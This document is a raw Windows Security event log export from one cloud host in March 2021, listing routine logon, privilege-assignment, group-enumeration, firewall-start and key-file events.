	Security ID:		BUILTIN\Print Operators
	Group Name:		Print Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Print Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245083
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Print Operators
	Account Domain:		Builtin
	Old Account Name:	Print Operators
	New Account Name:	Print Operators

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245082
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Print Operators
	Group Name:		Print Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245166
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x47c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:16:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245165
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x47c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:16:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245164
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245163
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245174
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x1A78C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	NTLM V1
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245173
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245172
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245171
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245170
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245169
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245168
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5033
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245167
Keywords=Audit Success
Message=The Windows Firewall Driver started successfully.
03/11/2021 11:16:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245177
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x44
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:16:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245176
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x44
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:16:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5024
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245175
Keywords=Audit Success
Message=The Windows Firewall service started successfully.
03/11/2021 11:16:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245180
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x44
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:16:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245179
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245178
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245182
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245181
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245186
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:16:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245185
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:16:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245184
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:16:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245183
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:16:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245188
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245187
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:17:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4616
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245189
Keywords=Audit Success
Message=The system time was changed.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	Process ID:	0x4b4
	Name:		C:\Windows\System32\svchost.exe

Previous Time:		‎2021‎-‎03‎-‎01T12:10:08.650220400Z
New Time:		‎2021‎-‎03‎-‎01T12:10:08.645000000Z

